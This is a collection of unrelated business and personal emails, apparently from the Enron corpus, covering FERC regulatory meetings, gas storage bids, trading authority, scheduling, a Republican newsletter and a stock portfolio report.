	This, in turn, requires backup hardware, backup generators, backup batteries, 
switches and software, said Mills, the energy consultant. The need for local 
power is one of the issues in the debate surrounding the proposed Calpine 
plant for Coyote Valley, which, if approved, would go online by 2003. 
	Cisco Systems Inc., which is proposing to build a campus in the area, has 
opposed the plant for health and safety reasons. Cisco's officials say that a 
patchwork of other plans already in place -- including building two power 
plants in Pittsburg, and others in San Francisco, Contra Costa and San Mateo 
counties -- will eventually generate enough electricity to avoid building 
another plant. 
	In high demand 
	Meanwhile, many of the new e-businesses have a voracious appetite for 
electricity. Exodus Communications Inc., Intel and Inktomi Corp., for 
example, have erected massive Web-hosting and data centers that use about 10 
times the amount of electricity per square foot of a typical commercial 
building. 
	For example, a 100,000-square-foot Web-hosting center built by Exodus 
consumes enough electricity to power 100,000 homes, estimated Ed Quiroz, 
regulatory analyst at the Public Utilities Commission in San Francisco. 
	``They've completely caught projections off guard,'' he says. ``It's a huge 
growth industry. The limiting factor is going to be the reliability of 
electricity.'' 
	And there's no sign that the demand for power in Silicon Valley will slow any 
time soon. 
	Mills said the amount of electricity consumed by watching a movie by 
video-streaming over the Internet is 20 times more than that used to watch 
the same movie on television. 
	Mobile phones, he said, use about three times the amount of electricity that 
normal phone lines do because they operate by bouncing signals off of base 
stations. All of these will be on the rise, he pointed out, especially in 
Silicon Valley. 
	``The buildup of the Internet has just begun,'' he says. ``And in the valley, 
there's a shadow of electricity growing behind it.'' 
	Contact Matt Marshall at mmarshall@sjmercury.com or (408) 920-5920. 
	
I pulled Dan in to listen to the voice mail.  Dan says, to go ahead and write 
a new Master under the new name w/ whom ever the guarantor is as long as you 
are comfortable with this.  After the new agreement is executed, we can move 
the old transactions over to the new Master as necessary.

With regards to Heartland's legal stauts, I will do the due diligence. 

Have a good time!!!!

dp

it is probably the second or third most important day of the year behind 
jesus's birthday and maybe superbowl sunday.  i had to throw a football 
reference in there.   my bad, 830 is a lot earlier than 9.  i think it is 
still dark at that hour.  well i would love to continue this fascinating 
dicussion but i need to get ready to play liar's poker.  i need to win some 
money so we don't have to wash dishes after we eat tonight.  see you at 830.

I thought you all may be interested in a summary of the FERC Conference I 
attended on Tuesday.  The comments below are from Becky Cantrell and Shelley 
Corman.  I will also forward the comments from our Washington attorney, who 
also attended the conference.  We have 30 days to file comments on the 
meeting.  There are a couple of issues I want to discuss with you that will 
help us decide whether we should file certain comments.  I will arrange a 
meeting soon.
---------------------- Forwarded by Colleen Sullivan/HOU/ECT on 09/21/2000 
   
	From:  Rebecca W Cantrell                           09/20/2000 03:21 PM
	
To: Stephanie Miller/Corp/Enron@ENRON, Colleen Sullivan/HOU/ECT@ECT, Julie A 
Gomez/HOU/ECT@ECT
cc: Gary L Payne/HOU/ECT@ECT 
Subject: Memo from Shelley Corman: FERC Staff Conference Today

I generally concur with Shelley's summary.    On the fourth bullet in the 
first section (tighter tolerances), a lot of parties (more than I expected) 
kvetched about the fact that pipelines seemed to be using the Order 637 
filings to make their penalty provisions even worse -- higher fees, tighter 
tolerances -- and then proposing new default or mandatory services that 
looked a lot like penalties.  

There was the usual affiliate bashing, particularly on the 
shipper-must-have-title rule discussions.  Southern Company also brought it 
up in connection with LNG import facilities, e.g., Cove Point and Elba 
Island.  It seems pretty clear that the January conference, which is to 
address marketing affiliates, will be pretty heated.  Based on their comments 
in this conference, I expect BP/Amoco is going to be particularly aggressive 
(rabid, even), and Dynegy will almost certainly be chiming in.  We need to 
start developing a strategy to counter some of their most virulent arguments. 

---------------------- Forwarded by Rebecca W Cantrell/HOU/ECT on 09/20/2000 
02:30 PM ---------------------------

Michael Van Norden@ENRON
09/19/2000 06:12 PM
To: Stan Horton/Houston/Eott@Eott, Bill Cordes/ET&S/Enron@ENRON, Mary Kay 
Miller/ET&S/Enron@ENRON, Robert Kilmer@ENRON_DEVELOPMENT, Ray 
Neppl@ENRON_DEVELOPMENT, Dorothy McCoppin@ENRON_DEVELOPMENT, Drew 
Fossum@ENRON_DEVELOPMENT, Julia White/ET&S/Enron@ENRON, Steve 
Hotte/Corp/Enron@ENRON, Danny McCarty/ET&S/Enron@Enron, Janet 
Place@ENRON_DEVELOPMENT, Maria Pavlou/ET&S/Enron@Enron, Teb 
Lokey/FGT/Enron@Enron, Glen Hass@ENRON_DEVELOPMENT, Steven 
Harris/ET&S/Enron@ENRON, Nancy Bagot/OTS/Enron@ENRON, Janet 
Butler/ET&S/Enron@Enron
cc: Steven J Kean/NA/Enron@Enron, Richard Shapiro/HOU/EES@EES, Rebecca W 
Cantrell@ENRON_DEVELOPMENT, James D Steffes/HOU/EES@EES, Joe 
Hartsoe/Corp/Enron@Enron 

Today, FERC Staff held its conference to discuss what regulatory changes are 
necessary to promote further market liquidity.  The conference was fairly 
well attended by FERC staff, including Dan Larcamp and  Shelton Cannon.  

Some common themes:
Gas markets are generally well functioning and major changes are not 
Commodity markets are very liquid.
FERC policies, GISB and Order 637 have helped to make capacity markets more 
liquid.
Shippers are unhappy with tighter tolerances and new balancing services in 
Order No. 637 compliance filings.
Standardization is necessary to promote liquidity (with pipelines making the 
distinction that standardization of transactional protocols is a good idea, 
standardization of product offerings is not).
There is very little consensus on further areas for change.  In nearly every 
case, a change advocated by one shipper group is opposed by another.  
In any event, most said that now is not the time for sweeping changes.

Areas without consensus:
Shipper-must-have-title rule.  LDCs argue it should be removed; while Process 
Gas and producers think that removal will undermine the capacity release 
market.
Production area rate design.  LDCs argued that they need the ability to buy 
service downstrream of a market pool.  Reliant and Koch also argued that 
pipelines should have to have separately stated production and market rates.  
The producers opposed any attempt to shift costs to the production area.
SFV.  East Coast LDCs, Michcon, and APGA argued for moving off of SFV.  The 
producers and industrials oppose.  Illinois Power/Dynegy also argued for 
moving off SFV.  

LDC Positions
The LDCs main themes were removing the shipper-must-have-title and enabling 
LDCs to hold space downstream of market centers.  However, they also argued 
that  pipelines should not be permitted to offer new services to the electric 
generation market that reduce the flexibilities LDCs have historically 
enjoyed since the system was built for LDCs .   This is the point that AGA 
raised in the blanket intervention to all Order 637 compliance filings.    
Carl Levander of Columbia did a nice job of refuting the notion that LDCs are 
entitled to unwritten flexibility that they have enjoyed in the past on a 
best efforts basis, perhaps in part due to the fact that the pipeline may not 
have been fully subscribed.  LDCs, generally stating that 637 compliance 
filings did a poor job of allowing capacity segmentation, continued to stress 
the need for segmentation, including "geographical segmentation of ROFR 
capacity."  

Some Specific Proposals
NGSA called for more targeted information to be included in Form 2 filings.  
A number of customer groups noted the need for more and better information, 
though specific needs were not well defined.
Several parties ask FERC to reconsider national standardized penalties 
(especially given expected high prices this winter and the possibility for 
arbitrage).
Alliance of Energy Suppliers (marketing arm of EEI) called for a dialogue 
between power generators and INGAA to develop a new firm tariff with hourly 
variability.  They also called for a change in GISB nomination deadlines to 
match the power grid (Dan Larcamp asked whether EEI is open to efforts to 
standardize scheduling times across the power grid as well).
The GISB End-User group (represented by Salt River Project)  complained about 
the need to standardize the confirmation process and called for gas 
transactions to be "tagged" like electric transactions.  

E-Commerce and Capacity Trading
Dave Neubaurer did a great job of driving home the themes that capacity 
trading can occur if FERC and industry are willing to allow more speedy 
transactions, remove posting periods and long contract execution periods.  He 
made an effective case that no major regulatory changes are necessary.  
Robert Levin of the NY Mercantile Exchange echoed this theme, admonishing the 
FERC not to micro-manage the types of trading platforms or to try to insist 
on a single platform.  He said that liquidity cannot be legislated.  From his 
perspective, natural gas markets are the best functioning commodity markets 
in the world.  FERC should worry about transferring the "good stuff" from 
natural gas to electric markets, not the reverse.

From: 	Patsy Barker <barker@rice.edu>@ENRON  
Sent:	Tuesday, December 04, 2001 9:57 AM
To:	(Recipient list suppressed)@ENRON
Subject:	January 2002 All Faculty Meeting date changed

The January 23, 2002 All Faculty Meeting has been changed to accommodate a
Dean's Lecture on that date.

The revised information is as follows:

Monday, January 28
9:45 a.m. to 10:45 a.m.
Room 124

Please change this date on your calendar. For your convenience, I have
attached Revision 3 of the 2001-2002 All Faculty Meeting Schedule.

Thank you.

Patsy Barker
Executive Assistant to the Dean
6100 Main Street, MS-531
Houston, Texas 77005
Tel:  713.348.4838
Fax: 713.348.5110
barker@rice.edu

 - AFMFall01-Spr02_Rev.3.doc 

tions:

Paul:

This storage facility does not really excite me!  The pipeline interconnect 
to TXU/Lone Star would be OK for withdrawals/Deliveries but would not be very 
desirable for receipts/Injections.  TXU/Lone Star would have no incentive to 
work with us regarding transportation to and from the facility. 

A notional market value would be around $.60 per MMBtu of capacity.  Under 
the first two cases the capacity could be cycled a maximum of 7 times per 
year and 4.5 times for the third case.   This $.60 has to cover all of the 
following costs:
 1)  Injection Fuel at the stg facility.
 2)  Injection and withdrawal commodity costs charged by the operator.
 3)  All Transportation costs of getting and receiving the gas at liquid 
points.
In summary this is not a storage facility that would be high on my list to 
acquire capacity.  In 2001 I would rather concentrate on facilities that I 
can obtain high deliverability and have multiple interconnects that are 
desirable and have competitive environments.

 Swig
---------------------- Forwarded by Jim Schwieger/HOU/ECT on 01/24/2001 10:51 
   
	From:  Paul Bieniawski @ ENRON                           01/17/2001 01:37 PM
	
To: Jim Schwieger/HOU/ECT@ECT, Thomas A Martin/HOU/ECT@ECT
cc: Jean Mrha/NA/Enron@Enron, Jin Guo/HOU/ECT@ECT 
Subject: Notional Storage Bid-Texas

Jim

As we discussed yesterday, here is the information on the storage asset we 
discussed.

I also cc'd Tom as you asked.

The field is connected to TXU/Lone Star and could be connected to Mitchell's 
expansion from the Bridgeport Plant down to Valero and to NGPL as well.

The field is physically located west of Dallas/Ft Worth.

We are considering taking some capacity in return for providing them with 
base gas, compression and other services.

Please provide me with bids for the following:

Capacity: 1BCF (38,000 Inj/WD)
Capacity: 2 BCF (75,000 Inj/WD)
Capacity: 12 BCF (300,000 Inj/WD)

I call later this afternnon to answer any questions.

Thanks, Schweig

Group,
There have been a fair amount of changes to the schedule recently--we need to start tracking these "off-schedule sheet" changes.
So...
If you will be unable to work a shift it is your responsibility to find a replacement, and then let me know through a phone call or an email regarding the switch.

Thanks,
Bill

I am going to watch this closely - you may get some feedback !!
---------------------- Forwarded by Mike Jordan/LON/ECT on 18/01/2001 13:57 

Andrew Cornfield
17/01/2001 21:12

To: Gary Hickerson/HOU/ECT@ECT
cc: Paul Sentance/LON/ECT@ECT, Michael Pitt/EU/Enron@Enron, Sheila 
Glover/HOU/ECT@ECT, Michael J Hutchinson/EU/Enron@Enron (bcc: Mike 
Jordan/LON/ECT)

Subject: Re: Cocoa Trading  

Gary

This follows on from discussions with RAC regarding what the softs broker 
traders are authorised for i.e. broking. If we are going to have them trading 
positions then this needs to be transparent.

I'm in Germany tommorrow but can be reached on my mobile +44 7973 740 478 if 
you wish to discuss.

Regards
Andy

Ed Dablin@ENRON
17/01/2001 17:14
To: Gary Hickerson/HOU/ECT@ECT, Michael J Hutchinson/EU/Enron@Enron
cc: Andrew Cornfield/LON/ECT@ECT, Michael Pitt/EU/Enron@Enron 

Subject: Cocoa Trading

I have given Nigel Majurey and James Willis discretion to trade 3,000 mt of 
our 6,000 mt outright position limit. Andy tells me I should have asked your 
authority to delegate. Can you confirm your approval or disapproval please

[INFO] -- Content Manager:
If you receive this message in error, please immediately delete it and
all
copies of it from your system, destroy any hard copies of it and notify
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Any
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is
indicative only, is subject to change and does not constitute an offer
to

 - enron comp.doc

	TASK ASSIGNMENT

Status:		completed

Task Priority:		2
Task Due On:		
Task Start Date:	

The Commission discussed its market based rate policy at today's meeting.  They did not vote out an order today, but expect to take up this issue again next meeting.  The staff memo recommended the following:

For an interim period, FERC will deal with pending requests for market based rates and with triennial reviews of those rate authorizations, using a new test called the "Supply Margin Assessment" (also called a jazzed up version of the hub and spoke test) where a seller's capacity will be reviewed against the generation reserve margin in a market.  The test takes into account constraints based on TTC.  If the capacity of a seller is not necessary to meet peak demand,the seller does not have market power.  This test is applicable to all markets that are not part of an existing RTO or ISO.  For those selling into an RTO/ISO, the FERC will continue to allow market based rates subject to the market monitor and mitigation.  

Staff also recommends that FERC initiate a Section 206 investigation to require each seller with market based rate authority to change its tariff by adding a provision stating that if the seller acts in an anticompetitive manner, the FERC can require refunds.  Through questioning by Commissioner Massey, it was revealed that, even if a seller did not engage in bad behavior, but sold into a disfunctional market, refunds could be required.  In the staff memo, apparently staff had left vague the definition of anticompetitive behavior in order to be able to interpret it most broadly.  However, Commissioners asked staff to better define the anticompetitive actions that could trigger refunds.  This policy will be brought up again at the next Commission meeting on October 11.  It will be issued as a proposed action, giving parties an opportunity to comment within 15 days and then also file reply comments,  Final action is expected within 60-90 days.

Last, for the long-term, FERC will hold outreach meetings looking for answers as to how to detect market power and what to do when it is detected.  

Since the interim measure is only a "snapshot" approach according to Commissioner Massey, he is willing to support it only along with the above described tariff provision.  Commissioner Breathitt is very uncomfortable with an open refund requirement, stating that it adds to regulatory uncertainty at a time when the Commission is most interested in giving certainty to the industry in order to assure reliability.

Lucy, 

Here is a rentroll for this week.  

What is the outstanding balance on #1.  It looks like 190 + 110(this week)= 
300.  I don't think we should make him pay late fees if can't communicate 
clearly.

#2 still owe deposit?

#9  What day will she pay and is she going to pay monthly or biweekly.

Have a good weekend.  I will talk to you next week.

In about two weeks we should know for sure if these buyers are going to buy 
the property.  I will keep you informed.

Phillip

Please just call Cindy Stark to get on my calendar.  I would warn you that I 
cannot see expending money for such a book since I do not see any value that 
would be added.  It would be nice to have but I was turning down painting 
projects on our pipeline that were in the $10k range during oour budget cycle!

Stan

Ok

Expected value of game = 1/2 * 0 + 1/4 * 1 + 1/8 *2 + 1/16 *4 +1/32 * 8+....
       = 0       +.25  +.25 +.25 +.25  +...
       = infinity

"Eva Pao" <epao@mba2002.hbs.edu> on 05/13/2001 03:11:46 PM
cc:  
Subject: waiting

In the public meeting today, the Commissioners approved RTO status for Grid=
=20
South, RT01-74 with certain conditions imposed. The conditions are that Gri=
d=20
South continue to expand with additional members; Santee Cooper must be=20
included in the Grid South RTO and denies Grid South=01,s proposed veto rig=
hts=20
(must modify to ensure selection of board members represents more=20
participation by stakeholders) =01) must maintain its independence; and ord=
ers=20
Grid South to resurrect original list of board candidates for another revie=
w.

FERC rejected Southern Company=01,s application, RT01-77, for RTO status fi=
nding=20
that the conditions of Order No. 2000 have not been met. The application is=
=20
rejected as being too inclusive. Chair Hebert stated that single company RT=
O=20
will not be accepted and are not the future. FERC wants to see good regiona=
l=20
member participation.

Commissioner Massey concurs on Grid South order; dissents in part in Southe=
rn=20
Company order, (expressed dismay over pricing issues finding that since the=
=20
application has been rejected, there is no reason to address pricing issues=
=20
in rejection).

The Commission discussed the order, EL 01-47, for relief to the California=
=20
and western state markets. The order announces certain action to be taken t=
o=20
increase supply and reduce demand. As stated, the actions are:  1) require=
=20
California ISO and transmission owners to file grid enhancements that can b=
e=20
achieved in short-term; 2) extends and broadens temporary  waivers of=20
operating and efficiency standards and fuel use requirements for QFs; 3)=20
waives prior notice requirements and grants market-based rate authority for=
=20
wholesale power sales; 4) authorizes retail/wholesale customers to reduce=
=20
consumption to resell their load reduction at wholesale at market-based=20
rates; 5) announces staff conference this Spring to discuss hydro-licensees=
,=20
resource agencies the possibility of increased generation consistent with=
=20
environmental protection. Addtionally, the order seeks comments by March 30=
,=20
1) rate incentives for electric transmission and gas facilities that provid=
e=20
additional capacity in the short term; 2) use of interconnect authority=20
(Section 210.d of FPA) to help alleviate impediments to additional supply; =
3)=20
waiving natural gas blanket certificate regulations to increase the dollar=
=20
limits for facilities under automatic authorization and prior notice=20
authorization; 4) offering blanket certificates for construction for=20
acquisition of portable compressor stations to enhance pipeline capacity to=
=20
California; 5) allowing for greater flexibility that license hydroelectric=
=20
projects to increase generation while protecting environmental resources.=
=20

FERC Commissioners intend to meet with Western state commissioners and othe=
r=20
regulators to discuss price volatility and other FERC related issues that=
=20
have recently been identified by the western governors. This will be a=20
one-day conference.=20

Fyi- have a good weekend. I think i will be spending mine in a darkend 
room!!!!

M
---------------------- Forwarded by Matthew Dawson/LON/ECT on 23/02/2001 
18:16 ---------------------------

Minna Taponen@ENRON
23/02/2001 18:14
To: Matthew Dawson/LON/ECT@ECT
cc:  

Subject: Re: BNP Paribas Guaranty  

Hello Matt,

looks fine except for a tiny little detail: it should cover ECTRL and 
physical power as well, to me it now seems to cover physical gas only.

Second question: Do the financial transactions cover all commodities (gas, 
power, weather etc etc)?

Thank you very much!

rgds,
Minna

Matthew Dawson@ECT
23/02/2001 17:46
To: Minna Taponen/EU/Enron@Enron
cc:  

Subject: BNP Paribas Guaranty

 Sorry Ive been bombarding you latley. Tanya drafted this and wants to know 
if the entities ect are corrected- just wanted to check with you.

Cheers Matt D
17:46 ---------------------------
From: Tana Jones on 23/02/2001 11:44 CST
cc:  

----- Forwarded by Tana Jones/HOU/ECT on 02/23/2001 11:44 AM -----

	Tana Jones
	02/13/2001 09:19 AM
		 
		 To: Tanya Rohauer/HOU/ECT@ECT, Matthew Dawson/LON/ECT@ECT
		 cc: 
		 Subject: BNP Paribas Guaranty

Attached is my proposed form of Guaranty to cover the US & UK business with 
Paribas.  Tanya, please note, per our discussion I have increased the 
guaranty amount to $50mm.  We have also added ECTRL to the Guaranty.

Please let me know if it meets with your approval and I will forward it to 
Paribas in NY.

TWO ADDITIONAL ITEMS FOR THE AGENDA:

 CA Legislature's suit against FERC

Expedited  motion in ER01-889-002 for enforcement action against CAISO re 
compliance with FERC's orders on creditworthiness and noncompliance with the 
creditworthiness provisions of its own tariff.

---------------------- Forwarded by Ray Alvarez/NA/Enron on 05/23/2001 05:19 

Ray Alvarez
05/23/2001 04:39 PM
To: Steve Walton/HOU/ECT@ECT, Susan J Mara/NA/Enron@ENRON, Alan 
Comnes/PDX/ECT@ECT, Leslie Lawner/NA/Enron@Enron, Rebecca W 
Cantrell/HOU/ECT@ECT, Donna Fulton/Corp/Enron@ENRON, Jeff 
Dasovich/NA/Enron@Enron, Christi L Nicolay/HOU/ECT@ECT, James D 
Steffes/NA/Enron@Enron, jalexander@gibbs-bruns.com, Phillip K 
Allen/HOU/ECT@ECT, Linda J Noske/HOU/ECT@ECT, Dave Perrino/SF/ECT@ECT, Don 
Black/HOU/EES@EES, Robert Frank/NA/Enron@Enron, Stephanie 
Miller/Enron@EnronXGate, Barry Tycholiz/Enron@EnronXGate
cc: Bernadette Hawkins/Corp/Enron@ENRON 

Subject: Re: Western Wholesale Activities - Gas & Power Conf. Call
Privileged & Confidential Communication
Attorney-Client Communication and Attorney Work Product Privileges Asserted

PLEASE MARK YOUR CALENDAR
Date:   Every Thursday
Time:    1:00 pm Pacific, 3:00 pm Central, and 4:00 pm Eastern time,
 Number:   1-888-271-0949 
 Host Code:  661877 (for Ray only)
 Participant Code: 936022 (for everyone else)

The table of the on-going FERC issues and proceedings has been updated for 
use on tomorrow's conference call, and is attached.  It is available to all 
team members on the O drive. Please feel free to revise/add to/ update this 
table as appropriate.

Proposed agenda for tomorrow:

Rehearing of FERC market monitoring and mitigation order in EL00-95-12 (item 
9d)

ISO de-rating of ATC complaint- status (item 20)

ISO governance comment opportunity (item 32)

FERC staff technical conference on inter- and intrastate gas pipeline 
capacity into CA- update (item 30)

FERC order in RP01-180 requesting comments on the reimposition of maximum 
rate ceilings on short term capacity releases into CA- discussion

FERC order in ER01-1579 denying waiver of CAISO underscheduling penalty- 
discussion

Please feel free to communicate to the group any additional agenda items you 
may have.

Dear Friends:

On Tuesday night, Republican Randy Forbes was elected to represent one of the 
most competitive, Democratic-leaning districts in America:  Virginia's 4th 
Congressional District.  President Clinton won the 4th district in 1992 and 
1996, and Republican Senate candidates lost the district in 1998 and 2000 
(even while they won statewide).

Despite the tough odds, Randy Forbes won a hard fought election on the 
strength of a positive message of furthering the programs and policies of 
President Bush.  While his Democrat opponent used scare tactics and negative 
campaigning, Forbes won the district by more than 5,000 votes.

The media labeled this election as a referendum on President Bush.  Democrats 
were desperate to win, but Republicans won another victory in a swing 
district.

To give you a bit of historical perspective, there have been 78 special 
elections over the past 25 years.  Only 19 of those special elections 
resulted in a change of party representation for the seat, and only three of 
those 19 swung toward the party of the President.  Historical odds were not 
in his favor, but Representative-elect Forbes defied the odds.

So what does this history-defying Republican victory mean to us on a national 
level?  The Forbes victory is proof positive of the continuing nationwide 
momentum across the political spectrum for President Bush's agenda for 
America.

And you have been a large part of sustaining the Bush momentum.  You helped 
President Bush and Congress achieve together what critics said couldn't be 
done - a bipartisan $1.35 trillion tax relief package.  The first round of 
tax relief checks was mailed yesterday, and I sincerely appreciate your 
helping American taxpayers get the relief we deserve.

If President Bush is to succeed in improving our schools, rebuilding our 
military, saving Social Security and Medicare and ushering in the 
responsibility era, he will need your continued help and involvement.

President Bush is counting on all of us to become his Team Leaders.  Learn 
more about this unique opportunity to spread the President's message and help 
retain and increase our majorities in 2002 by visiting 
http://www.gopteamleader.com.

Again, thank you for your continued efforts.  Without you, odds are we 
wouldn't have been able to win in Virginia.

Jim Gilmore
Chairman, Republican National Committee

Background on VA-04 Special Election
June 20, 2001

Upset in Virginia Special Election

A Victory for White House & National GOP

Republican Team Pulls Together, Victory a Model for
'01 and '02 Elections

-- Last night, Randy Forbes was elected to represent Virginia's 4th district, 
receiving 52.1% (70,926 votes) to Democrat Louise Lucas' 47.9% (65,189 
votes).  This election is a swing district-President Clinton won the district 
by 1% in 1992 and 7% in 1996, while President Bush won the district by less 
than 1,000 votes.

--  In the past 25 years, there have been 78 special elections.  Only 19 
resulted in a change of party representation for the seat, and of the 19, 
only 3 swung toward the party of the President.  Now 4.

--  President Bill Clinton pre-recorded thousands of turnout calls for this 
special election.

-- The voters embraced the President's policies.

-- Most importantly the President's policies were embraced in a moderate 
swing district drawn by Democrats, further evidence that President Bush is 
addressing the issues that affect and unite everyone.

-- Randy Forbes ran on the programs, policies and momentum of President Bush. 
Randy ran on moving the President's policies forward and now the results are 
in and the outcome is clear.

-- Media pundits recognized that this would be a referendum on the President.

Bob Novak, of The Chicago Sun-Times: "A mailing came out from the Democratic 
candidates...saying...there's no doubt who the Bush Republican will help, who 
it will hurt -- six million minority families and 12 million children will be 
left behind."  (CNN's "Inside Politics," 06/07/01)

Mark Shields: "Larry, is this Virginia race really an early referendum on 
President George W. Bush?" U.Va. Professor Larry Sabato: "To a certain agree 
I think it is."  (CNN?s "Capital Gang," 06/16/01)

"Numerous national analysts called the [special election] a test of the two 
parties' strengths and a possible bellwether for the fight for control of the 
House of Representatives in 2002.  Some of the national cachet surrounding 
the contest comes from its status as the first congressional election since 
Vermont Sen. James M. Jeffords' defection from the GOP switched control of 
the Senate?"  (Tyler Whitley, "Lucas, Forbes Push Turnout," The Richmond 
Times-Dispatch, 06/19/01)

"...a contest that's being widely viewed as an early indicator of voter 
attitudes toward Bush and his policies.  The result, said Stuart Rothenberg, 
an independent analyst of congressional campaigns, is that the race looms as 
'a sort of referendum on George W. Bush, on the energy issue, on Social 
Security and on the direction of the country.'  Indeed, Rothenberg and others 
will review the outcome as a possible harbinger for the 2002 midterm 
elections."  (Robert L. Jackson, "Va. House Race May Show GOP What It Faces 
In '02," Los Angeles Times, 06/17/01)

"National politicians view the toss-up race in Virginia's 4th District not 
only as a possible referendum on the Bush administration but also as a 
bellwether race that will determine which party has the momentum heading into 
the 2002 elections."  (Allison Stevens, "Polls See Virginia Race As Preview 
Of Battle For The House In 2002," The Hill, 06/13/01)

Bob Edwards: "The election is being portrayed as a referendum on the Bush 
administration."  (NPR's "Morning Edition," 06/13/01)

Fred Barnes: "This election in the fourth district of Virginia is the Vieques 
of elections.  It's the testing ground for this Social Security issue.  And 
if the Democrat, who is an African- American woman named Louise Lucas, if she 
wins, Democrats are going to rightly conclude, this Social Security issue is 
dynamite, and we can attack Bush's partial privatization bill."  (Fox's "Fox 
News Sunday," 06/17/01)

"Political analysts said the race would be viewed as an early referendum on 
the Bush administration and as a bellwether for next year's midterm 
elections."  (Larry O'Dell, "State Senators Compete For Open Seat In 
Congress," The Associated Press, 06/19/01)

"[T]oday's by-election in Virginia's Fourth District has become a referendum 
on Mr. Bush's first five months. If the Democrats win, they will argue that 
Mr. Bush has once again been rejected and that they have the momentum for 
next year's crucial mid-term elections."  (Damian Whitworth, "Battle Flares 
As Virginia Poll Puts Bush To Test," The London Times, 06/19/01)

Events:

-- GOP Unity, May 10: White House Political Director Ken Mehlman spoke at the 
Chesterfield GOP Unity dinner on May 10.  Chesterfield County was Forbes' 
primary opponents strongest county.

-- Fundraising, June 4: Vice President Cheney spoke at a fundraiser in 
Chesapeake where nearly $100,000 was contributed to the Forbes campaign.

-- Education, June 12: Forbes participated in an inner-city school event in 
Portsmouth where Secretary Paige spoke about the President's Plan to reform 

-- Sportsmen, June 14: Former NASCAR superstar and current FOX racing analyst 
Darrell Waltrip visited a Forbes for Congress picnic, garnering media 
coverage both on the front page and the sports pages of local newspapers.

Grassroots Activity:

-- Mail: President Bush signed his name to an absentee ballot mail piece that 
garnered more than 2,000 responses.  Bob Dole signed a letter that went to 
55,000 veterans and their families.

-- Phones: Over 66,000 phone calls were made with a message from President 
Bush.  45,000 phone calls were made to seniors with a message from Barbara 
Bush.

-- State Parties: 42 GOP State Parties contributed money to the Forbes 
campaign, with the majority of parties sending $5,000, the maximum allowed, 
raising a total of $230,000.

-- Members of Congress: Approximately 130 Members of Congress contributed 
money to the Forbes Campaign, including dozens of leadership PACs.

Other Activities:

-- Veterans, May 19: Secretary Principi attended a Veterans event on May 19 
to reach out to the 150,000 servicemen, former servicemen, and military 
families in the district.

-- Outreach, June 8: Congressman J.C. Watts attended a Forbes event in a 
heavily African-American part of the district with pastors and community 
leaders.

Paid for by the Republican National Committee.

If you wish to unsubscribe from this newsletter, simply click here:

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Alto, CA 94303 USA.

As you might already know we had to reschedule our second meeting that was 
scheduled for Wednesday 2/16 to Tuesday 2/22 in room 3013. Lunch will be 
provided. I apologize and will avoid rescheduling our meetings in the future. 
I was encouraged by the excellent dialogue and contribution at our first 
meeting and believe we have the right group together to make the changes we 
know are needed in our work hours. 

Here is the list of items we agreed to cover at the next meeting:

Schedulers were going to touch base with their pipeline reps and other 
contacts on the different schedules they are using and document and discuss 
at the next meeting.

Each manager was going to discuss with their group what would work best for 
their desk and present this to the group at our next meeting

Bob was going to gather information on external 12 hour schedules and follow 
up with HR on schedules being used at Enron

The following is what I heard at the first meeting:

Our first item should be to establish a weekend and holiday schedule that 
would more or less guarantee (other than maybe an occasional call) you have 
the weekend off.  Cross-training seemed to be the key here. Some desks seemed 
to doubt this could be accomplished with current staffing levels. 
Cross-training is not an easy thing to accomplish and takes a "just do it" 
attitude. 

There doesn't have to be an across the board solution for Logistics. However 
all solutions we come up with will need to be formally documented so it will 
be easy to move to other alternatives as the business needs of each desk 
changes.

Late daily hours are a reality and at some desks tied directly to traders 
willingness to do deals at any time. As we get a better handle on what other 
companies are doing we might be able to find something that will help address 
this. Everyone is realistic about the exceptions such as bid-week etc. and 
really have no problems with those times when a long day is part of the job.

There were mixed reactions to a dedicated weekend team as opposed to some 
type of rotating group. Mixed feelings about whether the group would be open 
to a mandatory rotating weekend schedule. 

Feel free to get back to me if you have any comments or clarification. I'm 
looking forward to our next meeting - Bob

Mr. Joe Kelliher
Advisor to the Secretary
US Department of Energy

Joe -

Attached please find our thoughts on California solutions. 

In the short-term, California must provide support to the Utilities to 
maintain reliablity (as they are doing with CDWR purchases).  In the 
longer-term, California must increase supply and reduce demand, as well as 
bring retail rates in line with the cost of a reasonable portfolio of 
electricity supply.

Hope this helps.  If you need anything, please feel free to call me at 
713-853-7673 (work) or 713-851-2499 (cell)

Jim Steffes

i need to call that girl tonight.  you have got to give them a few days before you call.  i wanted to take her out thurs but the stanley cup is on.  maybe fri is better.  take your girl out then and we can meet up later for drinks.

From: 	kevin.a.boone@accenture.com@ENRON [mailto:IMCEANOTES-kevin+2Ea+2Eboone+40accenture+2Ecom+40ENRON@ENRON.com] 
Sent:	Tuesday, June 05, 2001 9:26 AM
Subject:	bs

whatup beeatch . . . are you definitely gonna go out thurs nite . . . i'm
goin out with a chick sometime this week/weekend but haven't decided which
nite . . . when are you taking that hot physical therapist out ?

Regards,

Accenture--Houston

Per my voice mail
---------------------- Forwarded by Kay Mann/Corp/Enron on 11/01/2000 03:11 

cc:  

Regards,
Paul

600 Travis

received.

Thank you.

 =09  Markets =09 [IMAGE] =09DJ30 =09 =099,618.24=09 =09-247.50=09 =09-2.50=
%  =09 [IMAGE] =09NASDAQ =09 =091,892.98=09 =09-50.92  =09 =09-2.61%=09 [IM=
AGE] =09S&P  500 =09 =091,100.64=09 =09-32.42=09 =09-2.86%=09 [IMAGE] =09US=
 markets closed =09=09=09=09=09
=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=
=09=09=09=09=09=09[IMAGE]=09

 [IMAGE] [IMAGE] [IMAGE] [IMAGE]     [IMAGE]    Quote & 3-Point ViewProfile=
 & FundamentalsKey RatiosAnalyst InfoEarnings EstimatesInsider TradingInter=
active Graph ToolGraphs In BulkDiscussionRecommendationsNews Articles   [IM=
AGE]   [IMAGE] [IMAGE]  [IMAGE]  [IMAGE] [IMAGE]  [IMAGE] [IMAGE]  [IMAGE] =
[IMAGE]   [IMAGE] [IMAGE]  [IMAGE] Portfolio Mail  My  Portfolios   Prices/=
Events  as of 6:30PM EST    My Portfolio  Details      Stop this Report    =
[IMAGE] Portfolio: 'My Stocks'  Long positions  Symbol  Position  Last  Cha=
nge  %Change  Volume  Value  Today's Net          CPQ   375  11.22  -0.66  =
-5.56%  11,132,800  4,207.50  -247.50  DELL   220  27.19  -1.23  -4.33%  28=
,197,100  5,981.80  -270.60  EMC   160  16.00  -1.10  -6.43%  19,371,300  2=
,560.00  -176.00  EOG   540  31.94  -1.23  -3.71%  1,459,200  17,247.60  -6=
